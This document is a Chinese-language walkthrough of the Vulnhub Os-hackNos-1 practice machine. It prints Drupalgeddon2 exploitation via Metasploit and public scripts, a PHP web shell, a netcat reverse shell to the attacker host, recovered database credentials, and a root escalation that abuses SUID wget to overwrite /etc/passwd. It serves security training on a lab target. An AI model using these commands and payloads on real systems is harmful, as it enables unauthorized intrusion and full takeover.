Vulnhub-Os-hackNos-1

admin 2024年5月21日23:17:10评论8 views字数 5703阅读19分0秒阅读模式

Vulnhub hackNos: Os-hackNos

0x01 靶机介绍

  • Difficulty : Easy to Intermediate
  • Flag : 2 Flag first user And second root
  • Learning : exploit | Web Application | Enumeration | Privilege Escalation
  • Website : www.hackNos.com[http://www.hackNos.com]
  • mail : [email protected][mailto:[email protected]]

靶机下载地址:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

0x02 虚拟机配置

导入虚拟机

首先下载完后需要使用Virtual Box进行安装,否则无法找到IP地址

Vulnhub-Os-hackNos-1

Vulnhub-Os-hackNos-1

解决报错问题

在导入虚拟机完成后,会出现一个错误:提示不能为虚拟机打开一个新任务。

Vulnhub-Os-hackNos-1

解决方法有两个,分别如下:

  • 1、禁用USB控制器
  • 2、安装“Oracle VM VirtualBox Extension Pack”扩展包

参考文章:https://zhaokaifeng.com/?p=443

我选择了第一种方法,通过设置来禁用USB控制器,同时将该虚拟机调为桥接模式。

Vulnhub-Os-hackNos-1

Vulnhub-Os-hackNos-1

地址探测

配置完虚拟机后,使用 netdiscover 探测局域网内存活的IP地址

  • 1
netdiscover -r 192.168.0.0/24

Vulnhub-Os-hackNos-1

工具 netdiscover 主要通过二层网络解析目标 IP/MAC 地址,使用 ARP 协议二层主机发现,默认扫描范围为私网地址:192.168.0.0/16、172.16.0.0/16、10.0.0.0/8,常用命令参数如下:

  • 1
  • 2
  • 3
  • 4
  • 5
-r 地址范围
        如netdiscover -r 192.168.0.0/16
-l 扫描地址列表文件
-p 被动模式扫描
-s 发包时间间隔

0x03 侦查

端口探测

使用 nmap 进行端口扫描

  • 1
nmap -p- -sV -A 192.168.0.107 -oA namp_Os-hackNOs1

Vulnhub-Os-hackNos-1

扫描结果显示目标开放了22和80端口

80端口

访问http://192.168.0.107为 Apache 默认界面

Vulnhub-Os-hackNos-1

目录探测

使用 gobuster 对目录进行扫描,成功发现drupal目录

  • 1
gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Vulnhub-Os-hackNos-1

访问后为 Drupal 博客界面

Vulnhub-Os-hackNos-1

0x04 上线[www-data]

信息收集

访问 Drupal 的默认文件CHANGELOG.txt发现其版本为7.57

Vulnhub-Os-hackNos-1

使用工具 Droopescan 对站点进行信息收集 下载地址:https://github.com/droope/droopescan

  • 1
droopescan scan drupal -u http://192.168.0.107/drupal

Vulnhub-Os-hackNos-1

Drupal RCE

根据版本确定可利用 EXP 为 CVE-2018-7600,目前已知的漏洞利用脚本存在许多

MSF利用

使用 MSF 能够方便、快捷地获取权限

  • 1
  • 2
  • 3
  • 4
  • 5
msf6 > search drupal
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6(exploit/unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.0.107
msf6(exploit/unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal
msf6(exploit/unix/webapp/drupal_drupalgeddon2) > run

Vulnhub-Os-hackNos-1

Drupalgeddon2

使用 Drupalgeddon2 同样能够利用

  • 1
  • 2
  • 3
git clone https://github.com/dreadlocked/Drupalgeddon2.git
gem install highline
./Drupalgeddon2.rb http://192.168.0.107/drupal

使用 weevely 创建木马并上传

  • 1
  • 2
weevely generate cmd ./xiaoma.php
weevely http://192.168.0.107/drupal/xiaoma.php cmd

CVE-2018-7600

下载地址:https://github.com/pimps/CVE-2018-7600

Vulnhub-Os-hackNos-1

在本地下载漏洞利用脚本

  • 1
git clone https://github.com/pimps/CVE-2018-7600.git

Vulnhub-Os-hackNos-1

执行 EXP 完成命令执行,成功拿到配置信息

  • 1
python3 drupa7-CVE-2018-7600.py http://192.168.0.107/drupal/ -c "cat sites/default/settings.php"

Vulnhub-Os-hackNos-1

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'cuppa',
      'username' => 'cuppauser',
      'password' => 'Akrn@4514',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

Vulnhub-Os-hackNos-1

其中木马mac.php源码如下:

  • 1
<?php system($_POST['mac']);?>

在本地开启 HTTP 服务

  • 1
python -m SimpleHTTPServer 80

Vulnhub-Os-hackNos-1

上传木马mac.php

  • 1
python3 drupa7-CVE-2018-7600.py http://192.168.0.107/drupal/ -c "wget 192.168.0.106/mac.php"

Vulnhub-Os-hackNos-1

成功通过木马执行命令

  • 1
python3 drupa7-CVE-2018-7600.py http://192.168.0.107/drupal/ -c "ls"

Vulnhub-Os-hackNos-1

在本地监听6666端口

  • 1
nc -nvlp 6666

Vulnhub-Os-hackNos-1

使用 BurpSuite 代理截取数据包

Vulnhub-Os-hackNos-1

更改请求方式为POST并配置参数信息id,成功执行命令

Vulnhub-Os-hackNos-1

对命令进行 URL 编码,快捷键为 Ctrl+U

  • 1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.106 6666 >/tmp/f

Vulnhub-Os-hackNos-1

成功在本地拿到反弹shell

Vulnhub-Os-hackNos-1

反弹shell参考:https://forum.ywhack.com/shell.php

通过 Python 把环境切换为 pty

  • 1
python3 -c 'import pty;pty.spawn("/bin/bash")'

Vulnhub-Os-hackNos-1

通过以下命令可维持监听

  • 1
  • 2
stty raw -echo
nc -nvlp 6666

在用户家目录/home/james下发现第一个flag

  • 1
more user.txt

Vulnhub-Os-hackNos-1

0x05 权限提升[root]

信息收集

在网站根目录/var/www/html下发现可疑文件alexander.txt

Vulnhub-Os-hackNos-1

初步判断为 Base64 编码,经解码后如下

  • 1
echo "KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==" | base64 -d > base64_de.txt

Vulnhub-Os-hackNos-1

解码后文件内容如下

  • 1
+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[->+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+++.<

Vulnhub-Os-hackNos-1

通过在线网站进行 Ook! 解密,成功拿到用户名密码james:Hacker@4514

解密网站:https://www.splitbrain.org/services/ook

但是通过 su 命令无法登录

Vulnhub-Os-hackNos-1

同时也无法通过 SSH 登录

Vulnhub-Os-hackNos-1

suid提权

查找带有 suid 的特权文件,在其中成功发现 wget 命令

  • 1
find / -perm -u=s -type f 2>/dev/null

Vulnhub-Os-hackNos-1

查看文件/etc/passwd,尝试利用 wget 进行替换

Vulnhub-Os-hackNos-1

root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/falsesystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/falsesystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/falsesystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/falsesyslog:x:104:108::/home/syslog:/bin/false_apt:x:105:65534::/nonexistent:/bin/falselxd:x:106:65534::/var/lib/lxd/:/bin/falsemessagebus:x:107:111::/var/run/dbus:/bin/falseuuidd:x:108:112::/run/uuidd:/bin/falsednsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/falsejames:x:1000:1000:james,,,:/home/james:/bin/bashsshd:x:110:65534::/var/run/sshd:/usr/sbin/nologinmysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false

使用 openssl 生成 mac 用户的哈希

  • 1
openssl passwd -1 -salt mac 123456

Vulnhub-Os-hackNos-1

为新建的用户添加root用户组权限,同时添加至本地passwd文件中

  • 1
mac:$1$mac$hKt6m/mS5roM05SKHksDf.:0:0:root:/root:/bin/bash

Vulnhub-Os-hackNos-1

使用 wget 命令替换/etc/passwd,成功提权新用户mac至 root 权限

  • 1
  • 2
wget http://192.168.0.106/passwd -O /etc/passwd
su mac

Vulnhub-Os-hackNos-1

最终成功拿到第二个flag

  • 1
  • 2
cd ~
more root.txt

Vulnhub-Os-hackNos-1

查看/etc/ssh/ssh_config文件

Vulnhub-Os-hackNos-1

原文始发于微信公众号(狐狸说安全):Vulnhub-Os-hackNos-1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月21日23:17:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub-Os-hackNos-1https://cn-sec.com/archives/2764060.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息